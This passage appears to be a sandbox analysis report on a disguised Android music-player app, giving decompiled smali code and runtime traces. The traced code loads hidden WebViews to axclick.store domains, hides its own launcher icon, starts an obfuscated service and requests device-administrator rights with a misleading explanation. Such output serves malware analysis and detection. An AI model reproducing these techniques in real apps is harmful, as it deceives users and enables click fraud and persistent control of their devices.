  • toString: android.widget.ListView{27e4f9bd V.ED.VC. ......I. 0,0-0,0 #7f0a0041 app:id/list}
Method: com.twdlphqg.app.SplashActivity$1.run:10 Show source
NameTypeValue
intentandroid.content.Intent
  • toString: Intent { cmp=com.twdlphqg.app/.ExplorationActivity }
Method: ..: Show source
NameTypeValue
p0android.support.v7.widget.SearchView$SearchAutoComplete
  • toString: android.support.v7.widget.SearchView$SearchAutoComplete{3347e50d VFED..CL ......I. 0,0-0,0 #7f0a0037 app:id/search_src_text}
p1[Ljava.lang.Object;
  • toString: [Ljava.lang.Object;@5b3b9a9
NameTypeValue
Return Valuenull
  • toString: null
Method: ..: Show source
NameTypeValue
p0android.support.v7.widget.SearchView$SearchAutoComplete
  • toString: android.support.v7.widget.SearchView$SearchAutoComplete{3347e50d VFED..CL ......I. 0,0-0,0 #7f0a0037 app:id/search_src_text}
p1[Ljava.lang.Object;
  • toString: [Ljava.lang.Object;@31cdbb2e
NameTypeValue
Return Valuenull
  • toString: null
Method: ..: Show source
NameTypeValue
p0android.view.inputmethod.InputMethodManager
  • toString: android.view.inputmethod.InputMethodManager@3db686f4
p1[Ljava.lang.Object;
  • toString: [Ljava.lang.Object;@388dfe1d
  • Arrays.toString: [0, null]
NameTypeValue
Return Valuenull
  • toString: null
Method: ..: Show source
NameTypeValue
p0java.lang.String
  • toString: doBeforeTextChanged
p1[Ljava.lang.Class;
  • toString: [Ljava.lang.Class;@3ddd71d6
NameTypeValue
Return Valuejava.lang.reflect.Method
  • toString: void android.widget.AutoCompleteTextView.doBeforeTextChanged()
  • getName: doBeforeTextChanged
Method: ..: Show source
NameTypeValue
p0java.lang.String
  • toString: doAfterTextChanged
p1[Ljava.lang.Class;
  • toString: [Ljava.lang.Class;@19accc2d
NameTypeValue
Return Valuejava.lang.reflect.Method
  • toString: void android.widget.AutoCompleteTextView.doAfterTextChanged()
  • getName: doAfterTextChanged

15 Executed Methods

Cross References
APIs
  • android.webkit.WebView.<init>
  • android.webkit.WebView.loadUrl
  • com.twdlphqg.app.ExplorationActivity$4.<init>
  • android.webkit.WebView.setWebViewClient
  • com.twdlphqg.app.ExplorationActivity.getPackageManager
  • android.content.ComponentName.<init>
  • android.content.pm.PackageManager.setComponentEnabledSetting
  • android.content.Intent.<init>
  • com.twdlphqg.app.ExplorationActivity.startService
Strings
  • http://u.axclick.store/
Position Instruction Meta Information
0.prologue
1new-instance v2, Landroid/webkit/WebView;
3invoke-direct {v2, p0}, Landroid/webkit/WebView;-><init>(Landroid/content/Context;)V
4iput-object v2, p0, Lcom/twdlphqg/app/ExplorationActivity;->snewxwrivw:Landroid/webkit/WebView;
6iget-object v2, p0, Lcom/twdlphqg/app/ExplorationActivity;->snewxwrivw:Landroid/webkit/WebView;
8const-string v3, "http://u.axclick.store/"
10invoke-virtual {v2, v3}, Landroid/webkit/WebView;->loadUrl(Ljava/lang/String;)V
  • Time: 57401
    • This:
      • android.webkit.WebView{8c81d6f VFEDHVC. ......I. 0,0-0,0}
    • url: http://u.axclick.store/
12iget-object v2, p0, Lcom/twdlphqg/app/ExplorationActivity;->snewxwrivw:Landroid/webkit/WebView;
13new-instance v3, Lcom/twdlphqg/app/ExplorationActivity$4;
15invoke-direct {v3, p0}, Lcom/twdlphqg/app/ExplorationActivity$4;-><init>(Lcom/twdlphqg/app/ExplorationActivity;)V
17invoke-virtual {v2, v3}, Landroid/webkit/WebView;->setWebViewClient(Landroid/webkit/WebViewClient;)V
19invoke-virtual {p0}, Lcom/twdlphqg/app/ExplorationActivity;->getPackageManager()Landroid/content/pm/PackageManager;
20move-result-object v1
21new-instance v2, Landroid/content/ComponentName;
22const-class v3, Lcom/twdlphqg/app/SplashActivity;
24invoke-direct {v2, p0, v3}, Landroid/content/ComponentName;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
25iput-object v2, p0, Lcom/twdlphqg/app/ExplorationActivity;->snewxwricn:Landroid/content/ComponentName;
27iget-object v2, p0, Lcom/twdlphqg/app/ExplorationActivity;->snewxwricn:Landroid/content/ComponentName;
28const/4 v3, 0x2
29const/4 v4, 0x1
31invoke-virtual {v1, v2, v3, v4}, Landroid/content/pm/PackageManager;->setComponentEnabledSetting(Landroid/content/ComponentName;II)V
  • Data flow analysis:
    • newState: 2
    • flags: 1
32new-instance v0, Landroid/content/Intent;
33const-class v2, Lcom/twdlphqg/app/conf/Rmlsgfvgbscu;
35invoke-direct {v0, p0, v2}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
37invoke-virtual {p0, v0}, Lcom/twdlphqg/app/ExplorationActivity;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
38return-void
Cross References
APIs
  • android.webkit.WebView.<init>
  • android.webkit.WebView.getSettings
  • android.webkit.WebSettings.setCacheMode
  • android.webkit.WebView.clearCache
  • android.webkit.WebView.clearHistory
  • android.webkit.WebView.loadUrl
  • com.twdlphqg.app.services.Ryiidrxcjmfb$2.<init>
  • android.webkit.WebView.setWebViewClient
Strings
  • http://g.axclick.store/
Position Instruction Meta Information
0.annotation build Landroid/annotation/SuppressLint;
1value = {
2"SetJavaScriptEnabled"
3}
4.end annotation
5.prologue
6try_start_0: new-instance v0, Landroid/webkit/WebView;
8invoke-direct {v0, p0}, Landroid/webkit/WebView;-><init>(Landroid/content/Context;)V
9iput-object v0, p0, Lcom/twdlphqg/app/services/Ryiidrxcjmfb;->snewxwriwv:Landroid/webkit/WebView;
11iget-object v0, p0, Lcom/twdlphqg/app/services/Ryiidrxcjmfb;->snewxwriwv:Landroid/webkit/WebView;
13invoke-virtual {v0}, Landroid/webkit/WebView;->getSettings()Landroid/webkit/WebSettings;
14move-result-object v0
15const/4 v1, 0x2
17invoke-virtual {v0, v1}, Landroid/webkit/WebSettings;->setCacheMode(I)V
  • Data flow analysis:
    • mode: 2
19iget-object v0, p0, Lcom/twdlphqg/app/services/Ryiidrxcjmfb;->snewxwriwv:Landroid/webkit/WebView;
20const/4 v1, 0x1
22invoke-virtual {v0, v1}, Landroid/webkit/WebView;->clearCache(Z)V
  • Data flow analysis:
    • includeDiskFiles: 1
24iget-object v0, p0, Lcom/twdlphqg/app/services/Ryiidrxcjmfb;->snewxwriwv:Landroid/webkit/WebView;
26invoke-virtual {v0}, Landroid/webkit/WebView;->clearHistory()V
28iget-object v0, p0, Lcom/twdlphqg/app/services/Ryiidrxcjmfb;->snewxwriwv:Landroid/webkit/WebView;
30const-string v1, "http://g.axclick.store/"
32invoke-virtual {v0, v1}, Landroid/webkit/WebView;->loadUrl(Ljava/lang/String;)V
  • Time: 57692
    • This:
      • android.webkit.WebView{6fc87b1 VFEDHVC. ......I. 0,0-0,0}
    • url: http://g.axclick.store/
34iget-object v0, p0, Lcom/twdlphqg/app/services/Ryiidrxcjmfb;->snewxwriwv:Landroid/webkit/WebView;
35new-instance v1, Lcom/twdlphqg/app/services/Ryiidrxcjmfb$2;
37invoke-direct {v1, p0}, Lcom/twdlphqg/app/services/Ryiidrxcjmfb$2;-><init>(Lcom/twdlphqg/app/services/Ryiidrxcjmfb;)V
39invoke-virtual {v0, v1}, Landroid/webkit/WebView;->setWebViewClient(Landroid/webkit/WebViewClient;)V
40try_end_2d: return-void
41catch_2e: move-exception v0
42goto/16 :goto_2d
Cross References
APIs
  • android.content.Intent.<init>
  • android.content.Intent.putExtra
  • com.twdlphqg.app.ExplorationActivity.startActivityForResult
Strings
  • android.app.action.ADD_DEVICE_ADMIN
  • android.app.extra.DEVICE_ADMIN
  • Permission required for to manage download during device lock.
  • android.app.extra.ADD_EXPLANATION
Position Instruction Meta Information
0.prologue
1new-instance v0, Landroid/content/Intent;
3const-string v1, "android.app.action.ADD_DEVICE_ADMIN"
5invoke-direct {v0, v1}, Landroid/content/Intent;-><init>(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: android.app.action.ADD_DEVICE_ADMIN
7const-string v1, "android.app.extra.DEVICE_ADMIN"
9iget-object v2, p0, Lcom/twdlphqg/app/ExplorationActivity;->snewxwricn:Landroid/content/ComponentName;
11invoke-virtual {v0, v1, v2}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Landroid/os/Parcelable;)Landroid/content/Intent;
  • Time: 57230
    • This:
      • Intent { act=android.app.action.ADD_DEVICE_ADMIN (has extras) }
    • p0: android.app.extra.DEVICE_ADMIN
    • p1: ComponentInfo{com.twdlphqg.app/com.twdlphqg.app.services.Rqdnonjuptjh}
    • Return:
      • Intent { act=android.app.action.ADD_DEVICE_ADMIN (has extras) }
13const-string v1, "android.app.extra.ADD_EXPLANATION"
15const-string v2, "Permission required for to manage download during device lock."
17invoke-virtual {v0, v1, v2}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent;
  • Time: 57241
    • This:
      • Intent { act=android.app.action.ADD_DEVICE_ADMIN (has extras) }
    • p0: android.app.extra.ADD_EXPLANATION
    • p1: Permission required for to manage download during device lock.
    • Return:
      • Intent { act=android.app.action.ADD_DEVICE_ADMIN (has extras) }
18sget v1, Lcom/twdlphqg/app/ExplorationActivity;->REQUEST_ENABLE:I
20invoke-virtual {p0, v0, v1}, Lcom/twdlphqg/app/ExplorationActivity;->startActivityForResult(Landroid/content/Intent;I)V
21return-void
Cross References
APIs
  • java.util.ArrayList.<init>
  • android.os.Bundle.<init>
  • android.os.Bundle.putParcelableArrayList
  • com.twdlphqg.app.fragments.TrackFragment.newInstance
  • com.twdlphqg.app.fragments.TrackFragment.setArguments
  • com.twdlphqg.app.fragments.ArtistFragment.newInstance
  • android.os.Bundle.<init>
  • android.os.Bundle.putParcelableArrayList
  • com.twdlphqg.app.fragments.ArtistFragment.setArguments
  • com.twdlphqg.app.fragments.AlbumFragment.newInstance
  • android.os.Bundle.<init>
  • android.os.Bundle.putParcelableArrayList
  • com.twdlphqg.app.fragments.AlbumFragment.setArguments
  • com.twdlphqg.app.fragments.PlaylistFragment.newInstance
  • android.os.Bundle.<init>
  • android.os.Bundle.putParcelableArrayList
  • com.twdlphqg.app.fragments.PlaylistFragment.setArguments
  • java.util.ArrayList.add
  • com.twdlphqg.app.ExplorationActivity.getResources
  • java.util.ArrayList.add
  • com.twdlphqg.app.ExplorationActivity.getResources
  • java.util.ArrayList.add
  • com.twdlphqg.app.ExplorationActivity.getResources
  • java.util.ArrayList.add
  • com.twdlphqg.app.ExplorationActivity.getResources
  • android.content.res.Resources.getString
  • java.util.ArrayList.add
Strings
  • Track
  • Artist
  • Album
  • Playlist
Position Instruction Meta Information
0.prologue
1new-instance v12, Ljava/util/ArrayList;
3invoke-direct {v12}, Ljava/util/ArrayList;-><init>()V
4iput-object v12, p0, Lcom/twdlphqg/app/ExplorationActivity;->fragments:Ljava/util/ArrayList;
5new-instance v12, Ljava/util/ArrayList;
7invoke-direct {v12}, Ljava/util/ArrayList;-><init>()V
8iput-object v12, p0, Lcom/twdlphqg/app/ExplorationActivity;->titles:Ljava/util/ArrayList;
9new-instance v9, Lcom/twdlphqg/app/dals/TrackDal;
11invoke-direct {v9, p0}, Lcom/twdlphqg/app/dals/TrackDal;-><init>(Landroid/content/Context;)V
13invoke-virtual {v9}, Lcom/twdlphqg/app/dals/TrackDal;->getTracksOnMDS()Ljava/util/ArrayList;
14move-result-object v11
15new-instance v12, Landroid/os/Bundle;
17invoke-direct {v12}, Landroid/os/Bundle;-><init>()V
18iput-object v12, p0, Lcom/twdlphqg/app/ExplorationActivity;->bundle:Landroid/os/Bundle;
20iget-object v12, p0, Lcom/twdlphqg/app/ExplorationActivity;->bundle:Landroid/os/Bundle;
22sget-object v13, Lcom/twdlphqg/app/conf/constants;->TRACKS_KEY:Ljava/lang/String;
24invoke-virtual {v12, v13, v11}, Landroid/os/Bundle;->putParcelableArrayList(Ljava/lang/String;Ljava/util/ArrayList;)V
26invoke-static {}, Lcom/twdlphqg/app/fragments/TrackFragment;->newInstance()Lcom/twdlphqg/app/fragments/TrackFragment;
27move-result-object v10
29iget-object v12, p0, Lcom/twdlphqg/app/ExplorationActivity;->bundle:Landroid/os/Bundle;
31invoke-virtual {v10, v12}, Lcom/twdlphqg/app/fragments/TrackFragment;->setArguments(Landroid/os/Bundle;)V
33invoke-virtual {v9}, Lcom/twdlphqg/app/dals/TrackDal;->close()V
35invoke-static {}, Lcom/twdlphqg/app/fragments/ArtistFragment;->newInstance()Lcom/twdlphqg/app/fragments/ArtistFragment;
36move-result-object v4
37new-instance v3, Lcom/twdlphqg/app/dals/ArtistDal;
39invoke-direct {v3, p0}, Lcom/twdlphqg/app/dals/ArtistDal;-><init>(Landroid/content/Context;)V
41invoke-virtual {v3}, Lcom/twdlphqg/app/dals/ArtistDal;->getArtistsOnMDS()Ljava/util/ArrayList;
42move-result-object v5
43new-instance v12, Landroid/os/Bundle;
45invoke-direct {v12}, Landroid/os/Bundle;-><init>()V
46iput-object v12, p0, Lcom/twdlphqg/app/ExplorationActivity;->bundle:Landroid/os/Bundle;
48iget-object v12, p0, Lcom/twdlphqg/app/ExplorationActivity;->bundle:Landroid/os/Bundle;
50sget-object v13, Lcom/twdlphqg/app/conf/constants;->ARTISTS_KEY:Ljava/lang/String;
52invoke-virtual {v12, v13, v5}, Landroid/os/Bundle;->putParcelableArrayList(Ljava/lang/String;Ljava/util/ArrayList;)V
54iget-object v12, p0, Lcom/twdlphqg/app/ExplorationActivity;->bundle:Landroid/os/Bundle;
56invoke-virtual {v4, v12}, Lcom/twdlphqg/app/fragments/ArtistFragment;->setArguments(Landroid/os/Bundle;)V
58invoke-virtual {v3}, Lcom/twdlphqg/app/dals/ArtistDal;->close()V
60invoke-static {}, Lcom/twdlphqg/app/fragments/AlbumFragment;->newInstance()Lcom/twdlphqg/app/fragments/AlbumFragment;
61move-result-object v1
62new-instance v0, Lcom/twdlphqg/app/dals/AlbumDal;
64invoke-direct {v0, p0}, Lcom/twdlphqg/app/dals/AlbumDal;-><init>(Landroid/content/Context;)V
66invoke-virtual {v0}, Lcom/twdlphqg/app/dals/AlbumDal;->getAlbumOnMDS()Ljava/util/ArrayList;
67move-result-object v2
68new-instance v12, Landroid/os/Bundle;
70invoke-direct {v12}, Landroid/os/Bundle;-><init>()V
71iput-object v12, p0, Lcom/twdlphqg/app/ExplorationActivity;->bundle:Landroid/os/Bundle;
73iget-object v12, p0, Lcom/twdlphqg/app/ExplorationActivity;->bundle:Landroid/os/Bundle;
75sget-object v13, Lcom/twdlphqg/app/conf/constants;->ALBUMS_KEY:Ljava/lang/String;
77invoke-virtual {v12, v13, v2}, Landroid/os/Bundle;->putParcelableArrayList(Ljava/lang/String;Ljava/util/ArrayList;)V
79iget-object v12, p0, Lcom/twdlphqg/app/ExplorationActivity;->bundle:Landroid/os/Bundle;
81invoke-virtual {v1, v12}, Lcom/twdlphqg/app/fragments/AlbumFragment;->setArguments(Landroid/os/Bundle;)V
83invoke-virtual {v0}, Lcom/twdlphqg/app/dals/AlbumDal;->close()V
85invoke-static {}, Lcom/twdlphqg/app/fragments/PlaylistFragment;->newInstance()Lcom/twdlphqg/app/fragments/PlaylistFragment;
86move-result-object v7
87new-instance v6, Lcom/twdlphqg/app/dals/PlaylistDal;
89invoke-direct {v6, p0}, Lcom/twdlphqg/app/dals/PlaylistDal;-><init>(Landroid/content/Context;)V
91invoke-virtual {v6}, Lcom/twdlphqg/app/dals/PlaylistDal;->getAllPlayList()Ljava/util/ArrayList;
92move-result-object v8
93new-instance v12, Landroid/os/Bundle;
95invoke-direct {v12}, Landroid/os/Bundle;-><init>()V
96iput-object v12, p0, Lcom/twdlphqg/app/ExplorationActivity;->bundle:Landroid/os/Bundle;
98iget-object v12, p0, Lcom/twdlphqg/app/ExplorationActivity;->bundle:Landroid/os/Bundle;
100sget-object v13, Lcom/twdlphqg/app/conf/constants;->PLAYLISTS_KEY:Ljava/lang/String;
102invoke-virtual {v12, v13, v8}, Landroid/os/Bundle;->putParcelableArrayList(Ljava/lang/String;Ljava/util/ArrayList;)V
104iget-object v12, p0, Lcom/twdlphqg/app/ExplorationActivity;->bundle:Landroid/os/Bundle;
106invoke-virtual {v7, v12}, Lcom/twdlphqg/app/fragments/PlaylistFragment;->setArguments(Landroid/os/Bundle;)V
108invoke-virtual {v6}, Lcom/twdlphqg/app/dals/PlaylistDal;->close()V
110iget-object v12, p0, Lcom/twdlphqg/app/ExplorationActivity;->fragments:Ljava/util/ArrayList;
112invoke-virtual {v12, v10}, Ljava/util/ArrayList;->add(Ljava/lang/Object;)Z
114iget-object v12, p0, Lcom/twdlphqg/app/ExplorationActivity;->fragments:Ljava/util/ArrayList;
116invoke-virtual {v12, v4}, Ljava/util/ArrayList;->add(Ljava/lang/Object;)Z
118iget-object v12, p0, Lcom/twdlphqg/app/ExplorationActivity;->fragments:Ljava/util/ArrayList;
120invoke-virtual {v12, v1}, Ljava/util/ArrayList;->add(Ljava/lang/Object;)Z
122iget-object v12, p0, Lcom/twdlphqg/app/ExplorationActivity;->fragments:Ljava/util/ArrayList;
124invoke-virtual {v12, v7}, Ljava/util/ArrayList;->add(Ljava/lang/Object;)Z
126iget-object v12, p0, Lcom/twdlphqg/app/ExplorationActivity;->titles:Ljava/util/ArrayList;
128invoke-virtual {p0}, Lcom/twdlphqg/app/ExplorationActivity;->getResources()Landroid/content/res/Resources;
129move-result-object v13
130const v14, 0x7f0b0010
132invoke-virtual {v13, v14}, Landroid/content/res/Resources;->getString(I)Ljava/lang/String;
  • Time: 57169
    • This:
      • android.content.res.Resources@3713f545
    • id: 2131427344
    • Return:
      • Track
133move-result-object v13
135invoke-virtual {v12, v13}, Ljava/util/ArrayList;->add(Ljava/lang/Object;)Z
137iget-object v12, p0, Lcom/twdlphqg/app/ExplorationActivity;->titles:Ljava/util/ArrayList;
139invoke-virtual {p0}, Lcom/twdlphqg/app/ExplorationActivity;->getResources()Landroid/content/res/Resources;
140move-result-object v13
141const v14, 0x7f0b000e
143invoke-virtual {v13, v14}, Landroid/content/res/Resources;->getString(I)Ljava/lang/String;
  • Time: 57178
    • This:
      • android.content.res.Resources@3713f545
    • id: 2131427342
    • Return:
      • Artist
144move-result-object v13
146invoke-virtual {v12, v13}, Ljava/util/ArrayList;->add(Ljava/lang/Object;)Z
148iget-object v12, p0, Lcom/twdlphqg/app/ExplorationActivity;->titles:Ljava/util/ArrayList;
150invoke-virtual {p0}, Lcom/twdlphqg/app/ExplorationActivity;->getResources()Landroid/content/res/Resources;
151move-result-object v13
152const v14, 0x7f0b000f
154invoke-virtual {v13, v14}, Landroid/content/res/Resources;->getString(I)Ljava/lang/String;
  • Time: 57189
    • This:
      • android.content.res.Resources@3713f545
    • id: 2131427343
    • Return:
      • Album
155move-result-object v13
157invoke-virtual {v12, v13}, Ljava/util/ArrayList;->add(Ljava/lang/Object;)Z
159iget-object v12, p0, Lcom/twdlphqg/app/ExplorationActivity;->titles:Ljava/util/ArrayList;
161invoke-virtual {p0}, Lcom/twdlphqg/app/ExplorationActivity;->getResources()Landroid/content/res/Resources;
162move-result-object v13
163const v14, 0x7f0b0011
165invoke-virtual {v13, v14}, Landroid/content/res/Resources;->getString(I)Ljava/lang/String;
  • Time: 57198
    • This:
      • android.content.res.Resources@3713f545
    • id: 2131427345
    • Return:
      • Playlist
166move-result-object v13
168invoke-virtual {v12, v13}, Ljava/util/ArrayList;->add(Ljava/lang/Object;)Z
169return-void
APIs
  • com.twdlphqg.app.ActionBarParentActivity.getMenuInflater
  • android.content.res.XmlBlock.Parser.getName
  • com.twdlphqg.app.ActionBarParentActivity.getSystemService
  • android.view.Menu.findItem
  • android.support.v4.view.MenuItemCompat.getActionView
  • com.twdlphqg.app.ActionBarParentActivity.getComponentName
  • android.app.SearchManager.getSearchableInfo
  • android.content.Context.getString
Strings
  • item
  • menu
  • search
Position Instruction Meta Information
0.param p1, "menu" # Landroid/view/Menu;
1.prologue
3invoke-virtual {p0}, Lcom/twdlphqg/app/ActionBarParentActivity;->getMenuInflater()Landroid/view/MenuInflater;
4move-result-object v0
5const/high16 v3, 0x7f0e0000
7invoke-virtual {v0, v3, p1}, Landroid/view/MenuInflater;->inflate(ILandroid/view/Menu;)V
  • Time: 57502
    • This:
      • android.content.res.XmlBlock$Parser@263f8aac
    • Return:
      • menu
  • Time: 57504
    • This:
      • android.content.res.XmlBlock$Parser@263f8aac
    • Return:
      • item
9const-string v3, "search"
11invoke-virtual {p0, v3}, Lcom/twdlphqg/app/ActionBarParentActivity;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
  • Data flow analysis:
    • p0: search
12move-result-object v1
13check-cast v1, Landroid/app/SearchManager;
14const v3, 0x7f0a0053
16invoke-interface {p1, v3}, Landroid/view/Menu;->findItem(I)Landroid/view/MenuItem;
  • Data flow analysis:
    • p0: 2131361875
17move-result-object v3
19invoke-static {v3}, Landroid/support/v4/view/MenuItemCompat;->getActionView(Landroid/view/MenuItem;)Landroid/view/View;
20move-result-object v2
21check-cast v2, Landroid/support/v7/widget/SearchView;
23invoke-virtual {p0}, Lcom/twdlphqg/app/ActionBarParentActivity;->getComponentName()Landroid/content/ComponentName;
24move-result-object v3
26invoke-virtual {v1, v3}, Landroid/app/SearchManager;->getSearchableInfo(Landroid/content/ComponentName;)Landroid/app/SearchableInfo;
27move-result-object v3
29invoke-virtual {v2, v3}, Landroid/support/v7/widget/SearchView;->setSearchableInfo(Landroid/app/SearchableInfo;)V
  • Time: 57661
    • This:
      • android.view.ContextThemeWrapper@2409aeba
    • resId: 2131427359
    • Return:
      • search
30const/4 v3, 0x1
31return v3
APIs
  • android.view.LayoutInflater.inflate
  • com.twdlphqg.app.fragments.ArtistFragment.getArguments
  • android.os.Bundle.getParcelableArrayList
  • com.twdlphqg.app.fragments.ArtistFragment.getActivity
  • android.support.v4.app.FragmentActivity.getApplicationContext
  • com.twdlphqg.app.adapter.ArtistAdapter.<init>
  • android.widget.LinearLayout.findViewById
  • android.widget.ListView.setAdapter
  • android.widget.ListView.setOnItemClickListener
Position Instruction Meta Information
0.param p1, "inflater" # Landroid/view/LayoutInflater;
1.param p2, "container" # Landroid/view/ViewGroup;
2.param p3, "savedInstanceState" # Landroid/os/Bundle;
3.prologue
4const v3, 0x7f03001c
5const/4 v4, 0x0
7invoke-virtual {p1, v3, p2, v4}, Landroid/view/LayoutInflater;->inflate(ILandroid/view/ViewGroup;Z)Landroid/view/View;
  • Data flow analysis:
    • resource: 2130903068
    • attachToRoot: 0
8move-result-object v2
10invoke-virtual {p0}, Lcom/twdlphqg/app/fragments/ArtistFragment;->getArguments()Landroid/os/Bundle;
11move-result-object v3
12if-eqz v3, :cond_44
14invoke-virtual {p0}, Lcom/twdlphqg/app/fragments/ArtistFragment;->getArguments()Landroid/os/Bundle;
15move-result-object v3
17sget-object v4, Lcom/twdlphqg/app/conf/constants;->ARTISTS_KEY:Ljava/lang/String;
19invoke-virtual {v3, v4}, Landroid/os/Bundle;->getParcelableArrayList(Ljava/lang/String;)Ljava/util/ArrayList;
20move-result-object v3
21iput-object v3, p0, Lcom/twdlphqg/app/fragments/ArtistFragment;->artist:Ljava/util/ArrayList;
23iget-object v3, p0, Lcom/twdlphqg/app/fragments/ArtistFragment;->artist:Ljava/util/ArrayList;
24if-eqz v3, :cond_44
25new-instance v0, Lcom/twdlphqg/app/adapter/ArtistAdapter;
27invoke-virtual {p0}, Lcom/twdlphqg/app/fragments/ArtistFragment;->getActivity()Landroid/support/v4/app/FragmentActivity;
28move-result-object v3
30invoke-virtual {v3}, Landroid/support/v4/app/FragmentActivity;->getApplicationContext()Landroid/content/Context;
31move-result-object v3
32const v4, 0x7f030018
34iget-object v5, p0, Lcom/twdlphqg/app/fragments/ArtistFragment;->artist:Ljava/util/ArrayList;
36invoke-direct {v0, v3, v4, v5}, Lcom/twdlphqg/app/adapter/ArtistAdapter;-><init>(Landroid/content/Context;ILjava/util/ArrayList;)V
  • Data flow analysis:
    • p1: 2130903064
37const v3, 0x7f0a0041
39invoke-virtual {v2, v3}, Landroid/view/View;->findViewById(I)Landroid/view/View;
  • Time: 57460
    • This:
      • android.widget.LinearLayout{14e3218b V.E..... ......ID 0,0-0,0}
    • p0: 2131361857
    • Return:
      • android.widget.ListView{17287681 V.ED.VC. ......I. 0,0-0,0 #7f0a0041 app:id/list}
40move-result-object v1
41check-cast v1, Landroid/widget/ListView;
43invoke-virtual {v1, v0}, Landroid/widget/ListView;->setAdapter(Landroid/widget/ListAdapter;)V
44new-instance v3, Lcom/twdlphqg/app/fragments/ArtistFragment$1;
46invoke-direct {v3, p0}, Lcom/twdlphqg/app/fragments/ArtistFragment$1;-><init>(Lcom/twdlphqg/app/fragments/ArtistFragment;)V
48invoke-virtual {v1, v3}, Landroid/widget/ListView;->setOnItemClickListener(Landroid/widget/AdapterView$OnItemClickListener;)V
49cond_44: return-object v2
APIs
  • android.app.Activity.onCreate
  • com.twdlphqg.app.SplashActivity.setContentView
  • android.os.Handler.<init>
  • com.twdlphqg.app.SplashActivity.getResources
  • android.content.res.Resources.getString
  • java.lang.Integer.parseInt
  • android.os.Handler.postDelayed
Strings
  • 1000
Position Instruction Meta Information
0.param p1, "savedInstanceState" # Landroid/os/Bundle;
1.prologue
3invoke-super {p0, p1}, Landroid/app/Activity;->onCreate(Landroid/os/Bundle;)V
4const v1, 0x7f030023
6invoke-virtual {p0, v1}, Lcom/twdlphqg/app/SplashActivity;->setContentView(I)V
  • Time: 55981
    • This:
      • com.twdlphqg.app.SplashActivity@e1f218d
    • layoutResID: 2130903075
7new-instance v0, Landroid/os/Handler;
9invoke-direct {v0}, Landroid/os/Handler;-><init>()V
10new-instance v1, Lcom/twdlphqg/app/SplashActivity$1;
12invoke-direct {v1, p0}, Lcom/twdlphqg/app/SplashActivity$1;-><init>(Lcom/twdlphqg/app/SplashActivity;)V
14invoke-virtual {p0}, Lcom/twdlphqg/app/SplashActivity;->getResources()Landroid/content/res/Resources;
15move-result-object v2
16const v3, 0x7f0b0028
18invoke-virtual {v2, v3}, Landroid/content/res/Resources;->getString(I)Ljava/lang/String;
  • Time: 55994
    • This:
      • android.content.res.Resources@3713f545
    • id: 2131427368
    • Return:
      • 1000
19move-result-object v2
21invoke-static {v2}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
22move-result v2
23int-to-long v2, v2
25invoke-virtual {v0, v1, v2, v3}, Landroid/os/Handler;->postDelayed(Ljava/lang/Runnable;J)Z
  • Data flow analysis:
    • p2: 2131427368
26return-void
APIs
  • android.view.LayoutInflater.inflate
  • com.twdlphqg.app.fragments.TrackFragment.getArguments
  • android.os.Bundle.getParcelableArrayList
  • android.widget.LinearLayout.findViewById
  • com.twdlphqg.app.fragments.TrackFragment.getActivity
  • android.support.v4.app.FragmentActivity.getSupportFragmentManager
Position Instruction Meta Information
0.param p1, "inflater" # Landroid/view/LayoutInflater;
1.param p2, "container" # Landroid/view/ViewGroup;
2.param p3, "savedInstanceState" # Landroid/os/Bundle;
3.prologue
4const v1, 0x7f03001c
5const/4 v2, 0x0
7invoke-virtual {p1, v1, p2, v2}, Landroid/view/LayoutInflater;->inflate(ILandroid/view/ViewGroup;Z)Landroid/view/View;
  • Data flow analysis:
    • resource: 2130903068
    • attachToRoot: 0
8move-result-object v0
10invoke-virtual {p0}, Lcom/twdlphqg/app/fragments/TrackFragment;->getArguments()Landroid/os/Bundle;
11move-result-object v1
12if-eqz v1, :cond_3c
14invoke-virtual {p0}, Lcom/twdlphqg/app/fragments/TrackFragment;->getArguments()Landroid/os/Bundle;
15move-result-object v1
17sget-object v2, Lcom/twdlphqg/app/conf/constants;->TRACKS_KEY:Ljava/lang/String;
19invoke-virtual {v1, v2}, Landroid/os/Bundle;->getParcelableArrayList(Ljava/lang/String;)Ljava/util/ArrayList;
20move-result-object v1
21iput-object v1, p0, Lcom/twdlphqg/app/fragments/TrackFragment;->tracks:Ljava/util/ArrayList;
23iget-object v1, p0, Lcom/twdlphqg/app/fragments/TrackFragment;->tracks:Ljava/util/ArrayList;
24if-eqz v1, :cond_3c
25const v1, 0x7f0a0041
27invoke-virtual {v0, v1}, Landroid/view/View;->findViewById(I)Landroid/view/View;
  • Time: 57463
    • This:
      • android.widget.LinearLayout{2a604b67 V.E..... ......ID 0,0-0,0}
    • p0: 2131361857
    • Return:
      • android.widget.ListView{27e4f9bd V.ED.VC. ......I. 0,0-0,0 #7f0a0041 app:id/list}
28move-result-object v1
29check-cast v1, Landroid/widget/ListView;
30iput-object v1, p0, Lcom/twdlphqg/app/fragments/TrackFragment;->list:Landroid/widget/ListView;
32invoke-virtual {p0}, Lcom/twdlphqg/app/fragments/TrackFragment;->getActivity()Landroid/support/v4/app/FragmentActivity;
33move-result-object v1
35iget-object v2, p0, Lcom/twdlphqg/app/fragments/TrackFragment;->tracks:Ljava/util/ArrayList;
37iget-object v3, p0, Lcom/twdlphqg/app/fragments/TrackFragment;->list:Landroid/widget/ListView;
39invoke-virtual {p0}, Lcom/twdlphqg/app/fragments/TrackFragment;->getActivity()Landroid/support/v4/app/FragmentActivity;
40move-result-object v4
42invoke-virtual {v4}, Landroid/support/v4/app/FragmentActivity;->getSupportFragmentManager()Landroid/support/v4/app/FragmentManager;
43move-result-object v4
45invoke-static {v1, v2, v3, v4}, Lcom/twdlphqg/app/business/Ultils;->sendTrackToPlayer(Landroid/content/Context;Ljava/util/ArrayList;Landroid/widget/ListView;Landroid/support/v4/app/FragmentManager;)V
46cond_3c: return-object v0
Cross References
APIs
  • android.content.ContentResolver.query
Strings
  • _id
  • title
  • artist
  • album_id
  • _data
Position Instruction Meta Information
0.annotation system Ldalvik/annotation/Signature;
1value = {
2"()",
3"Ljava/util/ArrayList",
4"<",
5"Lcom/twdlphqg/app/models/Track;",
6">;"
7}
8.end annotation
9.prologue
